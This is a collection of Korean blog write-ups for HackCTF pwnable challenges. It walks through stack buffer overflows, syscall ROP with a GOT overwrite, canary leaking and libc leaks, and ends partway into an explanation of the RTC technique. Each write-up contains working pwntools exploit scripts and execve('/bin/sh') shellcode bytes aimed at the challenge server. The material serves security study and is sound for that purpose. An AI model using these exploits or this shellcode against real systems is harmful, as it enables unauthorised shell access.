728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

SysROP (350) 문제입니다.

 

문제 풀이 전 필요한 개념

이번 문제는 일반적인 ROP 방식으로 해결할 수 없는 문제입니다. 보통 puts, write, printf 함수 등을 가젯으로 사용해서 실제 함수 주소를 얻어 libc version을 얻거나, libc가 제공됩니다. 그리고 libc version을 통해서 offset 계산으로 libc_base leak이 가능해지고 system, oneshot이 사용 가능해집니다. 

 

그런데, 만약에 puts, printf, write 함수를 사용할 수 없다면 어떻게 해야 할까요? 이 질문은 이번 문제 풀이의 핵심이며, 바로 syscall을 이용하는 것이 해답입니다.

 

위키백과에 따르면

syscall은 운영 체제의 커널이 제공하는 서비스에 대해, 응용 프로그램의 요청에 따라 커널에 접근하기 위한 인터페이스이다.

라고 합니다. 

 

좀 더 이해가가 가게 설명하자면, 커널의 서비스를 응용프로그램이 사용하기 위해서 사용하는 방법이 시스템 콜입니다. 즉, input, output 같은 커널의 서비스에 해당하는 기능을 사용하기 위해서 우리는 시스템 콜을 이용한다는 의미입니다.

 

"코딩할 때 쉽게 read, write 함수 사용해서 입출력이 가능했는데?" 라는 생각을 할 수 있는데 (제가 그랬어요..) GNU 라이브러리 glibc에 syscall을 wrapping한 함수들이기 때문에 편하게 사용할 수 있는 겁니다.

 

다시 말해서, read, write 같은 함수들은 내부에서 syscall을 요청합니다. 

이 때, syscall은 여러 종류가 있는데 rax에 담겨 있는 값을 기반으로 호출하게 됩니다.

예를 들어, rax가 0이라면 sys_read를 1이라면 sys_write를.... 

옆의 사이트에서 syscall table을 확인할 수 있습니다. (https://filippo.io/linux-syscall-table/)

 

간략하게 syscall에 대해서 알아보았는데, 해당 개념을 이번 문제를 해결하는데 적용할 수 있습니다.

 

 

자, 이제 문제를 풀러가봅시다.

 

문제 분석

 

문제

SysROP라는 제목과 접속 주소 zip파일이 제공됩니다. 제목을 통해서 syscall을 활용한 ROP 문제라는 힌트를 줍니다. 우선 해당 파일을 다운 받고 실행시켜보고, 보안기법을 확인해봅시다.

 

실행

그냥 입력 한 번 받고 프로그램이 종료됩니다. 

 

보안 기법

Nx-bit와 Partial RELRO인 것을 알 수 있습니다. got overwrite가 가능합니다.

그러면 이제 해당 elf 파일을 gdb로 열어봅시다.

 

main symbol이 없다.

main symbol이 없습니다. 

 

file 명령어 사용

stripped 되어있는 것을 알 수 있습니다. 이런 경우 debugging symbol이 존재하지 않기 때문에 디버깅할 때 main을 직접 찾아야 합니다. 생각보다 복잡하지 않습니다. IDA에서는 main을 알아서 찾아주기도 하지만, gdb로 찾는 경우 __libc_start_main에 break point를 걸고 프로그램을 실행시키면 인자로 main 주소를 받아오는 것을 확인할 수 있습니다.

main 주소 발견

__libc_start_main에 bp를 걸고 r을 해주면 main 주소를 첫 번째 인자로 받는 것을 알 수 있습니다. 이제 해당 주소를 보면

main 디스어셈

생각보다 매우 간단한 코드입니다. read 함수를 통해서 0x78 입력 받습니다. 그런데 스택 사이즈는 0x10이므로 BOF가 발생합니다. 여기까지는 일반적인 ROP와 다를 것이 없지만 got가 있는 즉, 우리가 사용할 수 있는 함수는 read함수와 setvbuf뿐입니다. 

 

앞서 말했듯이 read 함수 내부에 있는 syscall을 활용해서 exceve("/bin/sh")을 실행시켜야 합니다.

그러기 위해서는 쓸 수 있는 영역에 /bin/sh을 입력하고 read 함수 내부에 있는 syscall_exceve를 호출해서 해당 /bin/sh을 인자로 넘겨주어야 합니다.

 

첫 번째로는 read 함수로 bss영역에 /bin/sh을 저장하고,

두 번째로는 read함수 내부에 있는 syscall 주소를 read_got에 덮어씌워서 바로 syscall이 실행되게끔하고,

세 번째로는 rax 값을 exceve 호출할 수 있도록 59로 세팅하면서 첫 번째 인자로 /bin/sh 주소를 넘겨야 합니다.

 

단계별 준비

단계별로 해결해보면

1. bss 영역은 readelf -S ./sysrop 명령어를 통해서 확인할 수 있습니다.

 

bss 영역 주소

bss 시작 주소: 0x601040

 

2. syscall 주소 찾기

syscall 주소

read 함수와 syscall의 주소가 하위 1바이트 차이만 나므로 \x5e 혹은 \x7b로 read_got를 덮어씌우면 된다.

 

3. read 함수와 syscall을 위한 가젯찾기

 

read 함수, syscall 가젯

read 함수에서 인자가 세 개 필요하므로 0x4005eb: pop rdx pop rdi pop rsi ret

syscall에서 rax와 첫 인자 세팅이 필요하므로 0x4005ea: pop rax pop rdx pop rdi pop rsi ret

 

위를 기반으로 익스플로잇 코드를 짜면 다음과 같습니다.

 

페이로드 작성 및 실행

from pwn import*
context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3024)

e = ELF("./sysrop")
pppr = 0x4005eb
ppppr = 0x4005ea
read_plt = e.plt['read']
read_got = e.got['read']


binsh = 0x601048
main = 0x4005f2

payload = "a"*0x10 + "b"*8
payload += p64(pppr)
payload += p64(8) + p64(0) + p64(binsh)
payload += p64(read_plt)
payload += p64(main)
p.sendline(payload)

#pause()
p.send("/bin/sh\x00")

payload = "a"*0x10 + "b"*8
payload += p64(pppr)
payload += p64(1) + p64(0) + p64(read_got)
payload += p64(read_plt)
payload += p64(ppppr)
payload += p64(59) + p64(0) + p64(binsh) + p64(0)
payload += p64(read_plt)
p.sendline(payload)

#pause()
p.send(p64(0x7b))

p.interactive()

우선, 첫 번째는 기본적인 ROP로 bss 영역에 read 함수로 /bin/sh을 입력받습니다. 

(이 때, 0x601040은 stdout으로 채워져 있어서 8바이트를 더한 곳에 /bin/sh을 입력했습니다.)

 

main으로 다시 돌아와서 입력할 때, read 함수로 1바이트 입력 받는데 read_got에서 하위 1바이트를 바꿔서 syscall로 주소를 덮어씌웁니다.

 

덮어씌워진 상태에서 read_plt를 호출하는데 즉, syscall 호출인데 인자를 rax를 59 rdi에 /bin/sh 주소를 넘겨서 exceve("/bin/sh")을 호출하도록 합니다.

 

※ 바로 send하는 경우 잘 안되는 경우가 있어서 pause() 추가함. (없어도 될 때도 있음....)

 

해당 페이로드를 실행하면 다음과 같이 플래그 값을 얻을 수 있습니다.

 

페이로드 실행 결과


이번 문제를 통해서 새롭게 syscall에 대해서 공부하는 경험을 할 수 있었다. 그리고 이번 문제를 풀면서 또 많은 삽질이 있었는데......

 

우선, bss 시작 영역에 stdout이 들어가 있는 것을 모르고 시작 영역부터 /bin/sh을 넣으려고 해서 시간이 걸렸고

 

로컬에서 gdb로 바이너리를 열어서 read 함수 내부에 있는 syscall 주소로 페이로드를 작성해서 계속 오류가 났다. (로컬에서도 gdb에서 libc attach 하고 싶은데..나는 왜 계속 안되는걸까...ㅠ)

 

마지막으로 "/bin/sh"을 넣어주면 제대로 쉘이 안따지고 "/bin/sh\x00"을 넣어줘야 제대로 쉘이 따졌다.. 

 

여담이지만, cmd로 연결해서 하는 것이 편한데.. 캡쳐할 때는 리눅스 터미널이 되게 깔끔하고 예쁜 것 같다..

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

Simple_Overflow_ver_2 (150) 문제입니다.

 

자, 이제 문제를 풀러가봅시다.

 

문제 분석

 

문제

접속 주소와 문제 파일이 제공된다. 문제 파일을 다운받아서 실행시켜보고, 보안기법을 확인해보자.

 

실행 결과

로컬에서 말고 서버에 접속해서 실행시켜보았는데, data를 입력 받고, 어떤 주소와 입력한 값을 출력한다. 대답 여부에 따라서 계속 입력하거나 종료할 수 있다. 

 

프로그램 실행마다 출력되는 주소가 다른 것을 보니 ASLR이 걸려있는 것을 알 수 있다.

 

이제, 보안기법을 확인해보면 다음과 같다.

 

보안 기법

Partial RELRO만 적용되어 있으니, 대부분의 기법이 사용가능하다. 

 

일단 구조를 파악하고 공략해야겠다.

(어셈블리로 파악하는 것이 공부에 도움이 되지만, 여기서는 IDA Pro로 본다. 어셈블리로 파악하면서 설명하면 길어지기 때문에.......)

 

main 코드

차근차근 코드를 읽어보면, 재밌게 짜여진 것을 알 수 있다.

 

유의미한 부분만 보자.

우선, Data: 를 출력하고 s에 입력을 받는다.

 

line 18: 이 때, for문이 작동하는데 입력한 문장의 길이보다 i가 더 크면 종료된다. 즉, for문이 종료되는 조건문이다.

 

line 20: 반복하는 동안에 i & 0xf가 실행되는데 i가 처음에는 무조건 0이므로 무조건 만족하는 조건이다. 그 때, s[i]의 주소 즉 s의 시작 주소를 알려준다. (문장이 길어지면 문자 16개마다 주소를 알려줌.)

 

for문을 돌면서 입력 받은 문자를 하나씩 출력해준다. 

 

그리고, 아스키코드로 121, 89는 y, Y인데 대소문자로 y를 입력받으면 프로그램이 종료된다.

 

스택구조는 다음과 같다.

 

--------------------------------------------------------

s

rbp - 0x88

--------------------------------------------------------

i

rbp - 0x08

--------------------------------------------------------

sfp

--------------------------------------------------------

ret

--------------------------------------------------------

 

위의 정보를 바탕으로 페이로드를 구상해보자.

i & 0xf가 0이 되어야 if문을 만족해서 s의 시작주소를 알려주므로, 처음에 아무 문장이나 넣어서 s의 주소를 획득하고, y를 눌러 재입력 받을 때 쉘코드와 ret에 s의 주소를 넣어주면 될 것이다.

 

즉, 첫 번째로 s의 주소를 얻고 다시 재입력할 때 s를 쉘코드 + 더미 + s 주소(ret 부분) 이렇게 채워주는 페이로드를 작성하면 될 것 같다.

 

페이로드 작성 및 실행

from pwn import*
#context.log_level = "debug"
e = ELF("./Simple_overflow_ver_2")

p = remote("ctf.j0n9hyun.xyz", 3006)

p.recvuntil("Data : ")
p.sendline("a")


buf_address = int(p.recv(10), 16)
log.success("buf: 0x%x" %buf_address)

payload = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += "a"*110 + "b"*4 + p32(buf_address)

p.sendlineafter("Again (y/n): ", "y")

p.sendlineafter("Data : ", payload)

p.sendlineafter("Again (y/n): ", "n")
p.interactive()

코드는 위에서 설명한 것처럼 그냥 아무거나 입력해서 처음에 buf 주소를 알아내고 이어서 y를 전달해서 한 번 더 입력하게끔 한다. 이 때, 26바이트 쉘코드와 더미 그리고 buf 주소를 전달해서 프로그램이 종료되면 buf로 이동해서 쉘코드가 실행하게 된다.

 

여기서 중요한 점은 scanf가 \x09, \x0a, \x0b, \x0c, \x0d, \x20 를 읽지 못하는데 25바이트 쉘 코드에 포함되어 있기 때문에 26바이트 쉘코드를 사용해주어야 한다는 점이다.

 

페이로드를 실행하면 다음과 같이 플래그를 획득할 수 있다.

 

플래그 획득


728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

x64 Simple_size_BOF (150) 문제입니다.

 

자, 이제 문제를 풀러가봅시다.

 

문제 분석

문제

접속 주소와 문제 파일이 주어졌으니, 다운받아서 실행시켜보고 보안기법을 확인해보자.

 

실행 결과

음, 자살방지 문제라면서 buf의 주소를 알려준다. 아마 이 주소가 없으면 풀기 굉장히 어려운 문제가 되는 것 같다.

 

보안기법은 다음과 같다.

 

보안기법

Partial RELRO만 걸려있다.
(음... 일단 Nx-bit가 없으니 buf에 쉘코드 넣고 주소를 ret에 넣으면 될 것 같은데... buf 주소를 주는 걸 보니, ASLR도 기본적으로 걸려있는 것 같은데..)

 

이제 해당 프로그램을 뜯어보자.

 

어셈블리

굉장히 간단하다. puts와 printf로 "삐빅 - 자살방지 문제입니다.", "buf: 0x~~~~"를 출력해주고, gets로 입력을 받는다. gets이므로 BOF가 발생 가능하다.

 

생각보다 gets로 받는 스택영역이 rbp-0x6d30으로 매우 크다. 

 

이 정도면 바로 페이로드를 작성할 수 있을 것 같다.

gets에 64비트 쉘코드와 더미 그리고 ret에 buf 주소를 넣어주면 쉘코드가 실행되어서 쉘을 딸 수 있다.

즉, buf에 쉘코드 + 더미 + buf 주소(ret부분) 을 넣어주면 된다.

 

이 때, 64비트용 쉘코드를 사용해야 하며 다음과 같다.

 

64비트 쉘코드(31바이트): "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

 

페이로드 작성 및 실행

from pwn import*
context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3005 )
e = ELF("./Simple_size_bof")

p.recvuntil("buf: ")

buf_address = int(p.recv(14), 16)
log.success("buf: 0x%x" %buf_address)

payload = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

payload += "a"*27921 + "b"*8 + p64(buf_address)

p.sendline(payload)

p.interactive()

먼저, 출력된 buf의 주소를 읽어서 저장하고, buf에는 64 비트 쉘코드로 31바이트 채우고 남은 부분은 더미로 채우며 BOF를 발생시킨다. ret에 buf 주소를 넣어 main이 종료되면 buf로 이동해서 쉘코드가 실행된다.

 

더미 계산은 0x6d30 - 31 = 27921 이다.

 

해당 페이로드를 실행해보면 다음과 같이 플래그를 획득할 수 있다.

 

플래그 획득


728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

x64 Buffer Overflow (150) 문제입니다.

 

자, 이제 문제를 풀러가봅시다.

 

문제 분석

문제

역시나, 접속 주소와 문제 파일이 주어진다. 해당 파일을 다운받아서 실행시켜보고, 보안기법을 확인해보자.

실행 결과

입력을 받고, Hello와 함께 입력받은 문장을 출력해준다. 적용된 보안기법은 다음과 같다.

보안 기법

FULL RELRO와 Nx-bit가 걸려있다. got overwrite는 불가능하며, 쉘코드를 넣고 실행시키는 것도 불가능하다.

 

이제 해당 프로그램을 뜯어보자. (당분간 IDA Pro는 자제하기로 했다.)

어셈블리

우선, scanf로 rbp-0x110에 입력을 받고, strlen으로 입력받은 문장의 길이를 계산한 값을 rbp-0x4에 넣는다. 그 다음에 printf 함수로 입력받은 것과 Hello를 함께 출력한다. 

 

추가적으로 함수 목록을 보니 쓸만해 보이는 함수가 보인다. 

callMeMaybe

확인해보면, 

callMeMaybe 함수

execve함수로 쉘을 따주는 함수에 해당한다. 그럼 답은 간단하다. 

그냥, 입력할 때 더미로 다 채워넣고 (sfp가 8바이트인 것을 유념하면서) ret에 callMeMaybe 함수 주소를 넣어 실행시키면 된다.

 

페이로드 작성 및 실행

from pwn import*
context.log_level = "debug"

p = remote("ctf.j0n9hyun.xyz", 3004)

e = ELF("./64bof_basic")

callme = 0x400606
payload = "a"*272 + "b"*8 + p64(callme)

p.sendline(payload)

p.interactive()

이를 실행시키면 다음과 같이 플래그를 획득할 수 있다.

(왜 strlen이 필요한지는 모르겠으나, 64비트에서는 sfp가 8바이트임을 알려주는 문제인 것 같다.)

 

플래그 획득


 

728x90
728x90

그동안 띄엄 띄엄 HackCTF 포너블 문제를 풀어왔는데, 이제부터 안 푼 문제들을 차례 차례 풀어서 한 번에 올릴 예정이다. 군대 가기전에 열심히 풀어보고 가야겠다...!!

 

 

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

내 버퍼가 흘러넘친다!!! (150) 문제입니다.

 

아주 기본적인 BOF문제에 해당합니다.

 

자, 이제 문제를 풀어봅시다.

문제 분석

문제

접속할 수 있는 주소와 문제 파일을 제공하고 있다. 일단 다운받아서 실행시켜보고, 보안기법을 확인해보자.

실행 결과

이름을 입력받고 이어서 문장을 입력받으면서 프로그램이 종료된다. (딱히, 특이사항은 없다.)

보안기법

와우...... Partial RELRO 말고는 아무런 보안기법이 적용되어 있지 않다. 이런 경우 문제가 엄청 어렵거나 엄청 쉽거나 둘 중 하나인데 초반 부분이니 간단한 문제에 해당하는 것 같다.

 

IDA Pro로 열어봅시다. 

(어셈블리어로 분석하는게 도움이 되지만, 여기서는 편의를 위해서 IDA Pro로 분석한다.)

그래도 어셈블리 구조를 먼저 봐보자. 항상 IDA가 맞는 것은 아니기 때문에.......

어셈블리

 구조가 간단하다. read 함수로 0x32 받고, gets로 입력을 받는다. IDA로 확인해봐도 똑같다.

main 코드

여기서, name은 BSS 영역이고 s는 스택 영역이므로, name에 쉘코드를 저장하고 s는 더미로 채워 BOF를 발생시켜서 ret에 name 주소를 넣으면 쉘코드가 실행될 것이다.

 

name 주소는 위의 어셈블리에서도 알 수 있듯이 0x804a060 이며,

쉘코드는 32비트이므로 25바이트 쉘코드 혹은 26바이트 쉘코드를 사용하면 된다.

 

25바이트: "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

26바이트: "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

 

페이로드 작성 및 실행

이를 바탕으로 페이로드를 작성하면 다음과 같다.

from pwn import*
context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3003)
e = ELF("./prob1")

#payload = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

p.sendlineafter("Name : ", payload)

payload = "a"*20 + "a"*4
payload += p64(0x0804A060)

p.sendlineafter("input : ", payload)

p.interactive()

BSS영역에 쉘코드를 넣고, BOF를 일으켜 ret에 BSS 영역 주소를 넘겨서 쉘코드를 실행시키는 페이로드이다.

 

실행시킨 결과 다음과 같이 플래그를 획득할 수 있었다.

 

플래그 획득


 

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

World Best Encryption Tool (350) 문제입니다.

 

해당 문제는 Canary를 우회해서 풀어야 하는 문제입니다.

Canary 우회 방법과 실제로 우회해서 푼 문제를 제가 작성한 글이 있으니, 참고하시면 도움될 것 같아요.

(https://bgm2020.tistory.com/34)

 

자 이제 문제를 풀러가봅시다.

 

문제 분석

 

문제

World Best Encryption Tool이라는 문제 제목과 접속 주소 그리고 zip 파일을 제공합니다. 우선, zip 파일을 다운받아서 압축을 풀고, 실행해봅시다. 

실행 결과

우선, 문장을 입력받고 해당 문자열을 암호화하여 출력하고, 계속 암호화할 것인지 물어봅니다. 

한 가지 이상한 점은 띄어쓰기가 있는 문장이 들어가면 Wanna encrypt other text? 출력과 동시에 프로그램이 종료된다....  

 

보안 기법

보안기법을 확인해본 결과, 카나리와 Nx-bit가 발견되었습니다. 카나리 우회하는 것이 관건인 것 같습니다.

 

IDA Pro로 열어봅시다.

(최대한, 어셈블리어로 분석하는게 도움되지만 여기서는 편의성을 위해서 IDA Pro로 열어봅니다.)

 

main 코드

코드가 간단하지만, 제대로 분석하지 않으면 문제를 해결하는데 어려움을 느낄 수 있습니다.

(실제로... 문제 간단해보였는데, 삽질 정말 많이 했습니다....ㅠ)

 

우선, scanf로 문장을 입력받습니다.

(여기서, 널까지 받도록 설정하지 않았기 때문에 아까 띄어쓰기가 있는 문장은 띄어쓰기 부분에서 잘려서 발생한 상황같다.)

 

입력받은 문장을 0부터 0x31만큼 (즉, 50번)  0x1c와 xor 연산을 하여 문자를 암호화해줍니다.

암호화한 문장을 0x39만큼 (즉, 57) dest에 옮겨주고, dest를 출력합니다.

그리고, 더 암호화할 것인지 물어봐서 Yes면 반복하고, 나머지 대답은 프로그램을 종료합니다.

 

여기서, 스택 구조를 보면 다음과 같습니다.

 

--------------------------------------------------

src

0x40 (64)

--------------------------------------------------

dest

0x38 (56)

--------------------------------------------------

Canary

0x08 (최하위 바이트는 \x00임)

--------------------------------------------------

sfp

0x08

--------------------------------------------------

ret

0x08

--------------------------------------------------

dest에 0x39 즉, 57 바이트를 옮겨주면, canary 값의 \x00 부분을 침범해서 나중에 출력할 때 같이 딸려서 나옵니다.

 

이점을 이용하면, canary 값을 쉽게 leak 할 수 있습니다.

하지만, 주의해야 할 점은 strncpy 함수입니다. strncpy는 널문자가 존재할 때까지 복사하기 때문에 널문자가 끝에 없으면 이상한 값까지 다 복사하는 경우가 생깁니다. 이 부분은 카나리 leak을 성공한 이후에 짚고 넘어가야 합니다.

 

Canary Leak

우선, canary leak 되는지 확인하는 코드를 짜서 실행시켜봅시다.

from pwn import*
#context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3027)

payload = "a"*56 + "b"

p.sendlineafter("text)\n", payload)

p.recvuntil("text)\n")
p.recv(57)
canary_leak = u64("\x00" + p.recv(7))
log.success("canary_leak: 0x%x" %canary_leak)

p.interactive()

56은 아무 값이나 넣고, 57번째를 널이 아닌 값을 넣어 카나리를 침범합니다. 

canary leak 성공

이제, canary leak이 성공했으니 canary를 우회할 수 있게 되었습니다. 

ASLR이 걸려 있으므로 실제 함수 주소를 몇 개 leak해서 libc version을 알아내고, 그 이후에 libc base leak하여 one shot을 넣거나, system("/bin/sh")을 실행시켜 주면 될 것 같습니다.

 

여기서 중요한 점은 프로그램이 종료되어야 ROP로 원하는 함수를 실행시킬 수 있습니다.

카나리를 구하고, 실제 함수 주소를 leak하려고 ROP를 짜면 프로그램이 종료되는데, 그렇게 되면 one shot이나 system("/bin/sh") 실행시킬 수 없게 됩니다.

 

따라서, ROP로 실제 함수 주소를 leak하고 main으로 돌아가서 입력을 다시 받아서 One shot 이나system("/bin/sh")을 실행시켜주면 됩니다.

 

정리하면, 

첫 번째: Canary leak 

두 번째: 실제 함수 주소 leak 

세 번째: libc_base와 offset을 이용한 oneshot or system("/bin/sh")

입니다.

 

Libc version 알아내기

ASLR이 걸려있으므로, 이미 사용한 puts나 printf 함수를 이용해서 실제 함수 주소를 leak 하면 됩니다.

이 때, 필요한 것은 Canary, puts_plt, 특정 함수의 got, pop rdi ret gadget 으로 네 가지 입니다.

 

puts를 사용하기 위해서는 gadget 필요하니 찾아줍시다.

 

ROPgadget --binary World_best_encryption_tool | grep 'pop'

 

gadget 찾기

실제 함수 주소를 leak 하는 코드를 작성해서 leak 해봅시다.

 

from pwn import*
#context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./World_best_encryption_tool")

puts_got = e.got['puts']
puts_plt = e.plt['puts']
printf_got = e.got['printf']
scanf_got = e.got['__isoc99_scanf']
libc_start_main = e.got['__libc_start_main']
setvbuf_got = e.got['setvbuf']

p1ret = 0x4008e3
main = e.symbols['main']

payload = "a"*57

p.recv()
p.sendline(payload)

p.recvuntil("Encrypted text)\n")
p.recv(57)
canary_leak = u64("\x00" + p.recv(7))
log.info("canary_leak: 0x%x" %canary_leak)

p.sendline("Yes")

p.recvuntil("Your text)\n")

payload = "a"*56 + "\x00" + "b"*63     # 널문자 꼭 넣어야 함!!!
payload += p64(canary_leak)
payload += "a"*8
payload += p64(p1ret)
payload += p64(scanf_got)
payload += p64(puts_plt)
payload += p64(main)

p.sendline(payload)
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("No")

scanf_address = u64(p.recv(6).ljust(8, "\x00"))
log.info("scanf_address: 0x%x" %scanf_address)

p.interactive()

canary leak에 이어서 yes를 눌러서 다시 한 번 입력을 해줍니다.

이 때, 정말 중요한 것은 단순하게 src에서 canary까지 0x80 -0x08 = 120바이트를 더미로 채우고 canary를 덮는 ROP를 작성하면 페이로드가 잘 작동하지 않습니다.

 

왜냐하면 앞서 말했듯이 strncpy 함수의 특징 때문에 문제가 발생합니다.

해당 함수는 널문자가 존재할 때까지 복사를 합니다.

단순히 0x39 즉, 57까지만 복사한다고 생각하고 다 덮으면 src에 입력한 payload에서 널문자가 나오는 지점까지 복사해서 dest에 넣기 때문에 원하는 값이 제대로 전달되지 않습니다.

(이 부분에서 엄청나게 많은 시간을 삽질했습니다.......ㅠㅠㅠㅠㅠㅠ)

 

그렇게 때문에 56바이트는 아무거나 넣고 57번째에 \x00 을 넣어서 strncpy가 정상적으로 작동하게끔 해야 합니다.

 

더불어, scanf_got를 넣으면 잘 작동하는데 puts_got나 printf_got를 넣으면 이상하게 작동합니다... 왜 그런지 이유는 모르겠습니다.

 

실행 결과는 다음과 같습니다.

scanf 주소 leak

canary, scanf 주소가 잘 나오는 것을 확인할 수 있고, main으로 성공적으로 돌아간 것도 확인할 수 있습니다.

 

scanf 함수 주소 하나로 libc를 특정하기는 어려우니 setvbuf함수 주소도 구해서 찾아야 합니다.

scanf address: 0x7fb7742284d0

setvbuf address: 0x7f550fea3e70

 

이를 기반으로 다음 사이트에서 libc 버전을 알아낼 수 있습니다.

(https://libc.nullbyte.cat/)  (bluekat.me 사용하지 마세요... 제대로 안 찾아집니다..)

 

libc database search

Query show all libs / start over

libc.nullbyte.cat

두 개가 나오지만 둘 다 offset이 같다.

두 개의 version이 나오지만 사용하려는 offset이 다 같아서 그냥 10버전을 사용했습니다.

 

자, 이제 libc version도 알았으니 해당 libc 파일을 다운받아서 페이로드 작성할 때 활용합시다.

 

찐 페이로드 작성

마지막으로 완성된 페이로드를 작성합시다.

from pwn import*
#context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./World_best_encryption_tool")
libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")

#puts_got = e.got['puts']
puts_plt = e.plt['puts']
#printf_got = e.got['printf']
scanf_got = e.got['__isoc99_scanf']
#libc_start_main = e.got['__libc_start_main']
#setvbuf_got = e.got['setvbuf']

p1ret = 0x4008e3
main = e.symbols['main']

payload = "a"*57

p.recv()
p.sendline(payload)

p.recvuntil("Encrypted text)\n")
p.recv(57)
canary_leak = u64("\x00" + p.recv(7))
log.info("canary_leak: 0x%x" %canary_leak)

p.sendline("Yes")

p.recvuntil("Your text)\n")

payload = "a"*56 + "\x00" + "b"*63
payload += p64(canary_leak)
payload += "a"*8
payload += p64(p1ret)
payload += p64(scanf_got)
payload += p64(puts_plt)
payload += p64(main)

p.sendline(payload)
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("No")

scanf_address = u64(p.recv(6).ljust(8, "\x00"))
log.info("scanf_address: 0x%x" %scanf_address)

#one_gadget = [0xf1147, 0xf02a4, 0x4526a, 0x45216]

libc_base=scanf_address - libc.symbols['__isoc99_scanf']
binsh = libc_base + next(libc.search('/bin/sh'))
system_address= libc_base + libc.symbols['system']
one_shot = libc_base + one_gadget[0]

p.recvuntil("Your text)\n")

payload = "a"*56 + "\x00" + "b"*63
payload +=p64(canary_leak)
payload +="a"*8
payload +=p64(p1ret)
payload +=p64(binsh)
payload +=p64(system_address)

p.sendline(payload)

p.recvuntil("(Yes/No)\n")
p.sendline("No")


p.interactive()

main으로 다시 돌아갔기 때문에 ROP를 한 번 더 사용할 수 있습니다.

scanf 주소 leak 할 때와 동일하게 더미를 깔고, system("/bin/sh")을 실행시키게 ROP를 작성했습니다.

 

실행 결과 다음과 같이 플래그를 얻을 수 있습니다.

flag 획득 성공

 


이번 문제는 다 풀고 보면 괜찮은데....... 너무 삽질을 많이 했다.

우선, strncpy가 널까지 복사하는 것을 생각 못해서 함수 주소 알아낼 때 오래 걸렸고

printf_got puts_got는 값이 안나와서.... 헤매다가 결국 scanf와 setvbuf 주소를 구했는데

libcbase bluekat.me에서는 검색이 제대로 되지 않아서 너무 혼란스러웠다....

겨우 bjloed님의 도움을 받아서 libc 검색을 제대로 할 수 있었다.

 

앞으로는 무조건 https://libc.nullbyte.cat/ 를 사용해야겠다.

 

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

RTC 문제입니다.


간단하게 알아보는 RTC 기법 개념

 

해당 문제는 문제 이름처럼 RTC기법을 사용해야 풀 수 있습니다.

 

일반적으로, ROP 기법을 사용해서 문제를 많이 푸는데,

ROP 기법을 사용하려면 적당한 gadget이 필요합니다.

 

그런데, 적당한 gadget을 찾을 수 없는 경우가 존재합니다.

이 때, 사용할 수 있는 것이 __libc_csu_init 함수입니다.

 

해당 함수의 어셈블리 코드를 보면 다음과 같습니다.

(필요한 부분만 캡쳐했습니다)

 __libc_csu_init 함수 어셈 코드

[파란 박스]

 

우선, 파란 박스를 보시면, pop pop pop~~ 해서 순서대로 레지스터에 값이 들어갑니다.

이후에는 ret이 있습니다.

 

 

